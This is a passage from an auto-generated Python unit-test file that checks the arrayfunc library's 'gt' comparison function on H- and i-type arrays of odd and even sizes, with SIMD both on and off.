# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_H_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_H_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_H_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_i_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'i' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'i' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'i' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('i', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('i', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('i', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code i.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code i.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code i.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code i.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code i.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
